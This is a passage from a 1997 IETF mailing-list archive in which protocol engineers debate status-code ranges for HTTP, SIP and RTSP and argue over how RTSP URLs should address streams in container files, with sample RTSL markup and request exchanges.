From: "Joel N. Weber II" <devnull@gnu.ai.mit.edu>
To: hgs@cs.columbia.edu
Cc: http-wg%cuckoo.hpl.hp.com@hplb.hpl.hp.com, confctrl@isi.edu
In-Reply-To: <33D666D2.6C52@cs.columbia.edu> (hgs@cs.columbia.edu)
Subject: Re: HTTP status codes
X-Url: http://www.red-bean.com/~nemo
X-Attribution: nemo
X-Foobar: Go directly to jail.  Do not pass Go, do not collect $200.
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

   Sender: hgs@dnrc.bell-labs.com
   Date: Wed, 23 Jul 1997 16:17:22 -0400
   From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
   Organization: Columbia University

   SIP and RTSP re-use a number of HTTP status codes, among other
   properties. It is likely that they may need to or want to adopt other
   HTTP status codes that emerge in the future. Thus, it is desirable that
   the SIP and RTSP-specific status codes do not conflict with HTTP codes.

   One possible solution: Declare officially that HTTP will only use status
   codes up to x49 (say) and leave others for private extensions, including
   SIP and RTSP.

There may be things other than SIP and RTSP, and it may be the case that
those other protocols will define status codes which are useful in
SIP and RTSP and HTTP, so it might be better to do something like this:

x00 through x49 is for HTTP
x50 through x59 is for SIP
x60 through x69 is for RTSP
and then we can assign blocks of ten to a few more protocols later.

another possibilty is to state that x00 through x49 are for things defined
by the HTTP spec authors, and x50 through x99 are for others, and have
one central authority to control allocation of those numbers in the
x50 through x99 range.  (It is probably desireable to keep the status
codes defined by HTTP consecutive.)

But whatever we decide to do, I don't think SIP and RTSP should be
considered `private extensions'.  Perhaps `defined by people other
than the authors of the HTTP spec' is an OK description, though.

From majordom@ISI.EDU  Wed Jul 23 07:18:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05690>; Wed, 23 Jul 1997 14:25:34 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05678>; Wed, 23 Jul 1997 14:25:31 -0700
Received: from mail1.digital.com (mail1.digital.com [204.123.2.50])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id OAA23009
	for <confctrl@isi.edu>; Wed, 23 Jul 1997 14:25:30 -0700 (PDT)
Received: from pachyderm.pa.dec.com (pachyderm.pa.dec.com [16.4.16.23])
	by mail1.digital.com (8.7.5/UNX 1.5/1.0/WV) with SMTP id OAA19855; 
	Wed, 23 Jul 1997 14:17:00 -0700 (PDT)
Received: by pachyderm.pa.dec.com; id AA08746; Wed, 23 Jul 1997 14:18:29 -0700
Date: Wed, 23 Jul 1997 14:18:29 -0700
From: jg@pa.dec.com (Jim Gettys)
Message-Id: <9707232118.AA08746@pachyderm.pa.dec.com>
X-Mailer: Pachyderm (client tunsrv2-tunnel.imc.das.dec.com)
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: http-wg%cuckoo.hpl.hp.com@hplb.hpl.hp.com, confctrl@isi.edu
In-Reply-To: <33D666D2.6C52@cs.columbia.edu>
Subject: Re: HTTP status codes
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

One way or the other, I believe there is going to need to be an IANA registry.
Private codes don't work too well, as two different people might
still happen to choose the same one.

To get one, you need a standards track document that defines the
process to deal with the registry.  (I.e. IANA needs directions on how
it should be run).

So you need to generate an Internet draft outlining the process, and
circulate it to the appropriate working groups.  It doesn't have to be
long, but it does have to exist, and go through the normal mill.

I think you'll find people here receptive to such a document (but don't
expect any volunteers from here either to write the first draft; we have
our hands full getting 1.1 to draft standard right now).
				- Jim


From majordom@ISI.EDU  Wed Jul 23 07:53:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07518>; Wed, 23 Jul 1997 14:53:58 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07512>; Wed, 23 Jul 1997 14:53:54 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id OAA24746
	for <confctrl@isi.edu>; Wed, 23 Jul 1997 14:53:52 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA28121
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 23 Jul 1997 14:59:29 -0700
Message-Id: <3.0.32.19970723145335.00db9aa4@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 23 Jul 1997 14:53:47 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP URL issues
Cc: bill@syd.dit.csiro.au, "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Sorry for the duplicate if you receive this twice...
----------
Date: Tue, 22 Jul 1997 01:07:35 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP URL issues
Cc: bill@syd.dit.csiro.au, "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>

I'm going to take another stab at explaining why we at PN are so adament
about wanting the StreamID in a method header field rather than in the
URL.

(i.e.  we'd like:
SETUP rtsp://foo.com/bar.rm RTSP/1.0 1
StreamID: audio
)

Below I'm going to discuss RTSL/RTSP integration.  RTSL, for those of
you who aren't aware, is the Real Time Session Language, which we are
shipping with the RealMedia SDK as the glue for presentations from
disparate files and file formats, and map them onto layout elements in a
web browser or in a standalone media player.

I realize that RTSL currently isn't being standardized within the MMUSIC
group (and since it's a file format, it probably doesn't belong here),
but I think the authoring scenarios are important here to understanding
why we at PN seem so dug in on this issue.

We are using RTSL as the media indirection half of the media
indirection/media initialization process that needs to happen prior to
playing a stream (see http://www.mbone.com/lists/confctrl.1997/0339.html
for the distinction).  So the idea is the following:

Client                                Server

http link
http request --------------------->  
             <---------------------  Media indirection (RTSL)
rtsp DESCRIBE -------------------->  
             <---------------------  Media initialization (SDP)
initialization complete

We would like to deal with container files in the following way in RTSL:

<source url="rtsp://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

This would instruct the client to fetch rtsp://foo.com/movie.rm and map
the text to the screen element "window1", and map the video to screen
element "window2" (in rough terms).  Note that there are no media
initialization parameters, because we think that content authors should
only be burdened with sequencing, grouping and layout information, and
not necessarily with getting every initialization parameter of the media
file will need.

Current Thinking on URLs
========================
Here's my understanding of how all of this URL talk maps into RTSL.  I
want to be clear: *the examples immediately below aren't what PN
believes should be the case, but rather what others may believe should
be the case*.

Every stream has an URL.  For instance, the way that this could map onto
what I have above is the following:

<source url="rtsp://foo.com/movie.rm">
  <stream url="rtsp://foo.com/movie.rm/audio">
  <stream url="rtsp://foo.com/movie.rm/video" playto="window1">
  <stream url="rtsp://foo.com/movie.rm/text" playto="window2">
</source>

Or it could be:
<source url="rtsp://foo.com/movie.rm?musicvideo=chiquitita">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=audio">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=video"
          playto="window1">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=text" 
          playto="window2">
</source>

The point behind the URL discussion on the URI list is that the URL is and
should be an opaque, unique identifier.  Taken to an extreme:

<source url="rtsp://foo.com/uuid=abcd00000000000000000000">
  <stream url="rtsp://foo.com/uuid=1234cccccccccccccccccccc">
  <stream url="rtsp://foo.com/uuid=5678cccccccccccccccccccc"
          playto="window1">
  <stream url="rtsp://foo.com/uuid=9012cccccccccccccccccccc" 
          playto="window2">
</source>

The client would know to handle this as a 1-1-n presentation (one RTSP
session, multiple RTP streams) not by parsing any of the URLs, but by
noting the presense of the "ueber" url as an attribute of the source
tag.  The server could then accept or reject the 1-1-n behavior based on
what it knows of the requests coming in.  Let's take what would happen,
given the last example (and that this actually did describe a valid
1-1-n setup):

C->S: DESCRIBE rtsp://foo.com/uuid=abcd00000000000000000000
S->C: OK
      s= sample rtsp presentation
      r = rtsp://foo.com/uuid=abcd00000000000000000000 
                                               /* aggregate URL*/
      m= audio 0 RTP/AVP 0
      r = rtsp://foo.com/uuid=1234cccccccccccccccccccc 
                                               /* URL to control audio*/
      m=video 0 RTP/AVP 26
      r = rtsp://foo.com/uuid=5678cccccccccccccccccccc 
                                               /* URL to control video*/
      m=video 0 RTP/AVP 101
      r = rtsp://foo.com/uuid=9012cccccccccccccccccccc 
                                               /* URL to control text */

C->S: SETUP rtsp://foo.com/uuid=1234cccccccccccccccccccc
S->C: OK
      Session: 1234
C->S: SETUP rtsp://foo.com/uuid=5678cccccccccccccccccccc
      Session: 1234
S->C: OK
C->S: PLAY rtsp://foo.com/uuid=abcd00000000000000000000
      Session: 1234
S->C: OK
      (Both streams play).

Let's take an example, now, where we want to use relative URLs in the
"stream" tags instead of absolute URLs.  According to RFC 1808, this is
fine, so long as one uses "/" and not "?"  for queries (though standard
behavior from a web browser is to use "?"  when using <FORM method=GET
action="/cgi-bin/query">, so it would be difficult to have similar
behavior adding cgi behavior to RTSP)

Here's an example of how this would work:
<source url="rtsp://foo.com/movie.rm/musicvideo=chiquitita/index">
  <stream url="audio"
          playto="window1">
  <stream url="video" 
          playto="window2">
</source>

C->S: DESCRIBE rtsp://foo.com/movie.rm/musicvideo=chiquitita/index
S->C: OK
      s= sample rtsp presentation
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/index 
                                               /* aggregate URL*/
      m= audio 0 RTP/AVP 0
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/audio 
                                               /* URL to control audio*/
      m=video 0 RTP?AVP 26
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/video 
                                               /* URL to control video*/
      m=video 0 RTP/AVP 101
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/text 
                                               /* URL to control text*/

C->S: SETUP rtsp://foo.com/movie.rm/musicvideo=chiquitita/audio
S->C: OK
      Session: 1234
C->S: SETUP rtsp://foo.com/movie.rm/musicvideo=chiquitita/video
      Session: 1234
S->C: OK
C->S: PLAY rtsp://foo.com/movie.rm/musicvideo=chiquitita/index
      Session: 1234
S->C: OK
      (Both streams play).

Problems with current thinking on URLs
======================================

*  The relative URLs are prone to authoring errors
   
   Let's apply this now to a simple container file situation:

   <source url="rtsp://foo.com/chiquitita.rm/">
      <stream url="audio">
      <stream url="video" playto="window1">
      <stream url="text" playto="window2">
   </source>

   Notice the trailing slash at the end of chiquitita.rm.  This would be
   necessary in order to keep "audio" and "video from resolving without
   the chiquitita.rm part.  Let me explain:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="audio">
      <stream url="video" playto="window1">
      <stream url="text" playto="window2">
   </source>

   ...is incorrect, because translating the relative urls "audio" and
   "video" into absolute URLs results in "rtsp://foo.com/audio" and
   "rtsp://foo.com/video".  Would it be acceptable for a client to
   always assume an implicit traling slash on all source urls with
   substreams?  If so, this is less of an issue.  However, my reading of
   RFC 1808 says that this wouldn't be strictly complient, and thus may
   create some confusion.

*  Absolute URLs are prone to authoring errors:

   Let's assume we can live without relative URLs.  Let's do absolute,
   then:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="rtsp://foo.com/chiquitita.rm/audio">
      <stream url="rtsp://foo.com/chiquitita.rm/video" playto="window1">
      <stream url="rtsp://foo.com/chiquitita.rm/text" playto="window2">
   </source>

   This would actually work, since now the urls can be treated as opaque
   strings by the client.  However, this means that one slip in any of
   the urls causes problems.  Not a big deal, but that's a lot more that
   can go wrong than in the case of relative URLs.  Consider the
   following:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="rtsp://foo.com/chiquatita.rm/audio">
      <stream url="rtsp://foo.com/chiquatita.rm/video" playto="window1">
      <stream url="rtsp://foo.com/chiquatita.rm/text" playto="window2">
   </source>

   It's pretty difficult to catch the error in the RTSL above, because
   there is just way more verbiage than there should be.

*  All URLs are ambiguous to the server

   Wouldn't it be nice to have a *standard* way of dealing with
   container files that didn't rely on making the container appear to be
   directory on the server?  This makes a little extra work for the
   server to really figure out what is going on.  Not a lot, mind you,
   but it just seems sloppy.

Now, the nice thing about making these things into IDs that are sent in
portions of the protocol other than the URL is that it gets the client
out of the URL construction/decryption business, and allows the client
to have multiprotocol support without imposing lots of authoring
scenarios on content authors.

Consider, for instance, the top piece of RTSL:

<source url="rtsp://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

If we have the ids sent in the 822 headers, then it's very clear how the
client should deal with this piece of RTSL with the server.

Also, notice that if we change the source URL to http, we still can have
reasonably network-friendly behavior from the client:

<source url="http://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

In this case, the client can engage in HTTP psuedo-streaming, and split
each of the fragments off at the client side.  From an authoring
perspective, nothing has changed, other than the source of the stream.

Now, I'm not going to make the claim that it's impossible to come up
with an URL format that will address the issues that I have above.
I just hope that we can resolve this in a timely manner.

Thanks
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Wed Jul 23 14:48:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11761>; Wed, 23 Jul 1997 15:48:36 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11754>; Wed, 23 Jul 1997 15:48:32 -0700
Received: from igw2.watson.ibm.com (igw2.watson.ibm.com [198.81.209.6])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id PAA27253
	for <confctrl@ISI.EDU>; Wed, 23 Jul 1997 15:48:31 -0700 (PDT)
Received: from mailhub1.watson.ibm.com (mailhub1.watson.ibm.com [9.2.249.31]) by igw2.watson.ibm.com (8.8.5/07-11-97) with ESMTP id SAA23172 for <confctrl@ISI.EDU>; Wed, 23 Jul 1997 18:47:22 -0400
Received: from vcr.watson.ibm.com (vcr.watson.ibm.com [9.2.219.114]) by mailhub1.watson.ibm.com (8.8.2/07-14-97) with SMTP id SAA36150; Wed, 23 Jul 1997 18:48:29 -0400
Received: by vcr.watson.ibm.com (AIX 3.2/UCB 5.64/6/25/96)
          id AA22430; Wed, 23 Jul 1997 18:48:29 -0400
Date: Wed, 23 Jul 1997 18:48:29 -0400
From: Prasoon Tiwari <ptiwari@watson.ibm.com>
Message-Id: <9707232248.AA22430@vcr.watson.ibm.com>
To: confctrl@isi.edu
Subject: byte offsets in RTSP PLAY
Cc: ptiwari@watson.ibm.com
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Definition of range (Section 12.26, RTSP Draft) disallows using
byte offsets. Why?

If a client uses a buffer to store the media stream being played
(say, in the single-step mode) you need to tell the server to
"play the next n bytes" to ensure that a certain amount of data
is always there in the buffer. I propose that we consider adding
this functionality to RTSP.

Regards,
-Prasoon

=============================================================
Prasoon Tiwari                            Tel: (914) 784-7474
IBM T.J.Watson Research Center            Fax: (914) 784-7595
P.O.Box 704                     email: ptiwari@watson.ibm.com
Yorktown Heights, NY 10598

From majordom@ISI.EDU  Wed Jul 23 18:18:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25837>; Thu, 24 Jul 1997 01:16:32 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25831>; Thu, 24 Jul 1997 01:16:30 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id BAA11323
	for <confctrl@ISI.EDU>; Thu, 24 Jul 1997 01:16:30 -0700 (PDT)
Received: from revelstoke.precept.com (port5.precept.com [204.162.119.55])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id BAA15175;
	Thu, 24 Jul 1997 01:15:50 -0700 (PDT)
Date: Thu, 24 Jul 1997 01:18:53 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu, bill@syd.dit.csiro.au,
        "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Subject: Re: RTSP URL issues
In-Reply-To: <3.0.32.19970722010729.0113ad78@mail.prognet.com>
Message-Id: <Pine.PCW.3.95.970724004509.8438C-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Let me first say that I liked what Roy had to say.  I'm a URI novice,
so I don't know the rules, but using "/" seemed like the right choice
to me.

> *  The relative URLs are prone to authoring errors
...
>    Notice the trailing slash at the end of chiquitita.rm.  This would be
>    necessary in order to keep "audio" and "video from resolving without
>    the chiquitita.rm part.

Seems reasonable to me.  If you want to refer to an ftp directory and
some URLs relative to it, you'd need to include the slash.

> *  Absolute URLs are prone to authoring errors:
...
>    This would actually work, since now the urls can be treated as opaque
>    strings by the client.  However, this means that one slip in any of
>    the urls causes problems.  Not a big deal, but that's a lot more that
>    can go wrong than in the case of relative URLs.

The argument that URLs are hard to type without making a mistake
doesn't excite me very much.  People should not by typing these URLs
by hand.  The authoring system should do it.  I can't see this as a
strong argument for making an adaptation in a protocol.

The author had better check the URL's when they are done, no matter
how they are created!

> *  All URLs are ambiguous to the server
> 
>    Wouldn't it be nice to have a *standard* way of dealing with
>    container files that didn't rely on making the container appear to be
>    directory on the server?  This makes a little extra work for the
>    server to really figure out what is going on.  Not a lot, mind you,
>    but it just seems sloppy.

On the contrary, if the container is part of the hierarchy (the
resources it contains are addressable), then having the path elements
be consistent seems cleaner.

> Now, the nice thing about making these things into IDs that are sent in
> portions of the protocol other than the URL is that it gets the client
> out of the URL construction/decryption business

I disagree in two ways:

  - With separate URLs, the client does no construction nor parsing of
    the URLs, it just hands them back to the server.  The fact that
    there is a presentation grouping is explicit in the session
    description (for example, by the presence of an aggregate URL).

  - With stream IDs, the client is essentially having to construct the
    complete URL by proving the base URL plus the stream ID.

>, and allows the client
> to have multiprotocol support without imposing lots of authoring
> scenarios on content authors.

As I've said before, I wonder about the idea of trying to make this
work for both RTSP and HTTP.  If HTTP would work just as well, then
RTSP would not exist.

> In this case, the client can engage in HTTP psuedo-streaming, and split
> each of the fragments off at the client side.  From an authoring
> perspective, nothing has changed, other than the source of the stream.

What protocol is dealing with the multiple streams in HTTP?

> Now, I'm not going to make the claim that it's impossible to come up
> with an URL format that will address the issues that I have above.
> I just hope that we can resolve this in a timely manner.

Rob, if we use the stream ID approach, how are we going to construct
the presentation aggregation (i.e.  1-1-n) when the media streams are
in separate files?
							-- Steve


From majordom@ISI.EDU  Thu Jul 24 05:37:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02894>; Thu, 24 Jul 1997 08:26:32 -0700
Received: from darkstar.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02881>; Thu, 24 Jul 1997 08:26:31 -0700
Received: from tnt.isi.edu by darkstar.isi.edu (5.65c/5.61+local-27)
	id <AA11146>; Thu, 24 Jul 1997 06:42:47 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20] (may be forged))
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id GAA15604
	for <confctrl@ISI.EDU>; Thu, 24 Jul 1997 06:37:33 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA28146; Thu, 24 Jul 1997 09:37:30 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id JAA04309; Thu, 24 Jul 1997 09:37:24 -0400 (EDT)
Message-Id: <33D75A93.18ED@cs.columbia.edu>
Date: Thu, 24 Jul 1997 09:37:24 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.02 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Jim Gettys <jg@pa.dec.com>
Cc: http-wg@hplb.hpl.hp.com, confctrl@ISI.EDU
Subject: Re: HTTP status codes
References: <9707232118.AA08746@pachyderm.pa.dec.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

A first drafty draft is at

http://www.cs.columbia.edu/~hgs/sip/draft-ietf-http-status-00.txt

Comments are appreciated; this is a first attempt. Please let me know if
I should submit this (a) at all, (b) as a WG submission.

Thanks.

Henning
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Jul 24 23:10:22 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21783>; Thu, 24 Jul 1997 12:10:34 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21777>; Thu, 24 Jul 1997 12:10:33 -0700
Received: from wsooti08.win.tue.nl (wsooti08.win.tue.nl [131.155.70.156])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id MAA03140
	for <confctrl@isi.edu>; Thu, 24 Jul 1997 12:10:32 -0700 (PDT)
Received: by wsooti08.win.tue.nl (8.7.1/1.45)
    id VAA24269; Thu, 24 Jul 1997 21:10:22 +0200 (MET DST)
From: koen@win.tue.nl (Koen Holtman)
Message-Id: <199707241910.VAA24269@wsooti08.win.tue.nl>
Subject: Re: HTTP status codes
To: hgs@cs.columbia.edu (Henning Schulzrinne)
Date: Thu, 24 Jul 1997 21:10:22 +0200 (MET DST)
Cc: http-wg%cuckoo.hpl.hp.com@hplb.hpl.hp.com, confctrl@isi.edu
In-Reply-To: <33D666D2.6C52@cs.columbia.edu> from "Henning Schulzrinne" at Jul 23, 97 04:17:22 pm
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning Schulzrinne:
>
>I brought this up at the San Jose meeting, but there never was a
>satisfactory (official) answer, as far as I remember.
>
>SIP and RTSP re-use a number of HTTP status codes, among other
>properties. It is likely that they may need to or want to adopt other
>HTTP status codes that emerge in the future. Thus, it is desirable that
>the SIP and RTSP-specific status codes do not conflict with HTTP codes.
>
>One possible solution: Declare officially that HTTP will only use status
>codes up to x49 (say) and leave others for private extensions, including
>SIP and RTSP.

I don't know if there are any deployed implementations of SIP and RTPS
already.  If there are not, I would suggest using 4 digits for all SIP
and RTPS codes not inherited from HTTP, e.g. 1xxx for SIP and 2xxx for
RTPS.  HTTP-inherited codes could be 0xxx or simply xxx.

>Henning

Koen.

From majordom@ISI.EDU  Thu Jul 24 11:23:21 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12282>; Thu, 24 Jul 1997 18:43:05 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12276>; Thu, 24 Jul 1997 18:43:03 -0700
Received: from paris.ics.uci.edu (mmdf@paris.ics.uci.edu [128.195.1.50])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id SAA19917
	for <confctrl@isi.edu>; Thu, 24 Jul 1997 18:43:02 -0700 (PDT)
Received: from kiwi.ics.uci.edu by paris.ics.uci.edu id aa12572;
          24 Jul 97 18:37 PDT
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu, bill@syd.dit.csiro.au
Subject: Re: RTSP URL issues 
In-Reply-To: Your message of "Tue, 22 Jul 1997 01:07:35 PDT."
             <3.0.32.19970722010729.0113ad78@mail.prognet.com> 
Date: Thu, 24 Jul 1997 18:23:21 -0700
From: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Message-Id:  <9707241837.aa12572@paris.ics.uci.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Sorry I don't have much time to deal with these issues, but I'll
add a few answers...

>We would like to deal with container files in the following way in RTSL:
>
><source url="rtsp://foo.com/movie.rm">
>  <stream id="audio">
>  <stream id="video" playto="window1">
>  <stream id="text" playto="window2">
></source>

If rtsp://foo.com/movie.rm is a container (much like filesystem directories
are containers), then it should have a URL that reflects it.  In other
words, if you attempt to access

    rtsp://foo.com/movie.rm

and movie.rm is a container, then the server should either disallow
access or redirect the browser to the real URL

    rtsp://foo.com/movie.rm/

You will find that to be standard for all HTTP servers when the handler
is a container for other resources.

>Let's take an example, now, where we want to use relative URLs in the
>"stream" tags instead of absolute URLs.  According to RFC 1808, this is
>fine, so long as one uses "/" and not "?"  for queries (though standard
>behavior from a web browser is to use "?"  when using <FORM method=GET
>action="/cgi-bin/query">, so it would be difficult to have similar
>behavior adding cgi behavior to RTSP)

Query based URL responses do not use relative references in HTTP, unless
the response includes its own base URL using HTML's BASE element.  I assume
that RTSL has an equivalent element to BASE.  Also, as I said before,
the syntax of the query URL is irrelevant if the result of the query
is a redirection to the actual resource name, which is the only
sensible way to serve a resource using an unbounded search interface.
[Because, if you don't, your resources will have an infinite number of
URLs, which leads to a nightmare when some broken robot scans your site.]

>Problems with current thinking on URLs
>======================================
>
>*  The relative URLs are prone to authoring errors

Not if the client obeys the relative URL standard.  Authors always test
their creations at least once, and therefore a URL that is invalid from
the start is going to be discovered and fixed.  It is impossible to
prevent authoring mistakes in general.

>   Let's apply this now to a simple container file situation:
>
>   <source url="rtsp://foo.com/chiquitita.rm/">
>      <stream url="audio">
>      <stream url="video" playto="window1">
>      <stream url="text" playto="window2">
>   </source>
>
>   Notice the trailing slash at the end of chiquitita.rm.  This would be
>   necessary in order to keep "audio" and "video from resolving without
>   the chiquitita.rm part.  Let me explain:
>
>   <source url="rtsp://foo.com/chiquitita.rm">
>      <stream url="audio">
>      <stream url="video" playto="window1">
>      <stream url="text" playto="window2">
>   </source>
>
>   ...is incorrect, because translating the relative urls "audio" and
>   "video" into absolute URLs results in "rtsp://foo.com/audio" and
>   "rtsp://foo.com/video".  Would it be acceptable for a client to
>   always assume an implicit traling slash on all source urls with
>   substreams?

No.  Only the server *really* knows what a resource is, and therefore
whether or not it is a container, and therefore whether or not the
URL without the trailing slash actually corresponds to a resource.
After all, the full URL might have been

   <source url="rtsp://foo.com/chiquitita.rm/movie">

where the extra "/movie" indicates that all streams should be sent.

>*  All URLs are ambiguous to the server
>
>   Wouldn't it be nice to have a *standard* way of dealing with
>   container files that didn't rely on making the container appear to be
>   directory on the server?  This makes a little extra work for the
>   server to really figure out what is going on.  Not a lot, mind you,
>   but it just seems sloppy.

You've got that backwards.  Container files do not appear as
directories --- the filesytem is mapped into a consistent hierarchy
of container and non-container resources by the server (CGI is part
of the server).  The server would map the RTSL file into a container
in the same way that it maps directory tables into a container.
Having the client decide what is or is not a container is contrary to
the HTTP object model.  If the server doesn't know what is going on,
then it can't map its own namespace, and thus isn't an HTTP server.
As an aside, that is also why you can't mirror HTTP resources without
also mirroring the server configuration, and why WebNFS is incapable
of doing what HTTP can do.

>Now, the nice thing about making these things into IDs that are sent in
>portions of the protocol other than the URL is that it gets the client
>out of the URL construction/decryption business, and allows the client
>to have multiprotocol support without imposing lots of authoring
>scenarios on content authors.
>
>Consider, for instance, the top piece of RTSL:
>
><source url="rtsp://foo.com/movie.rm">
>  <stream id="audio">
>  <stream id="video" playto="window1">
>  <stream id="text" playto="window2">
></source>
>
>If we have the ids sent in the 822 headers, then it's very clear how the
>client should deal with this piece of RTSL with the server.

I've had this discussion in different forms many many times.  In HTTP,
identification of the target of the request is specified by the requested
resource, which is the full URI corresponding to the Request-URI and
Host header fields and nothing else.  In a GET request, the representation
of the resource selected as the response to the request can be influenced
by server-driven content negotiation and the Accept* header fields sent
by the client.  However, doing so often eliminates the ability to cache
those representations appropriately, and therefore results in a less
efficient Web than can be accomplished using separate URLs for each
representation.

What you are proposing is yet another selecting request header field,
but this time specific to the RTSL media type and its handlers.
The existing Accept* header fields have, in my mind, been proven to be
the wrong design for distributed networking and the HTTP object model.
Agent-driven content negotiation, where each representation has its
own URL, is better in both theory and practice.

....Roy

From majordom@ISI.EDU  Thu Jul 24 11:30:16 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12439>; Thu, 24 Jul 1997 18:58:09 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12433>; Thu, 24 Jul 1997 18:58:08 -0700
Received: from paris.ics.uci.edu (mmdf@paris.ics.uci.edu [128.195.1.50])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id SAA20264
	for <confctrl@isi.edu>; Thu, 24 Jul 1997 18:58:07 -0700 (PDT)
Received: from kiwi.ics.uci.edu by paris.ics.uci.edu id aa13431;
          24 Jul 97 18:44 PDT
To: Brad Hefta-Gaub <brad@prognet.com>
Cc: Stephen Casner <casner@precept.com>, Rob Lanphier <robla@prognet.com>,
        confctrl@isi.edu, bill@syd.dit.csiro.au
Subject: Re: RTSP URL issues 
In-Reply-To: Your message of "Thu, 24 Jul 1997 04:31:33 PDT."
             <33D73D14.D2B91C6A@prognet.com> 
Date: Thu, 24 Jul 1997 18:30:16 -0700
From: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Message-Id:  <9707241844.aa13431@paris.ics.uci.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>On the surface this sounds good to us at PN. And in fact we think we can
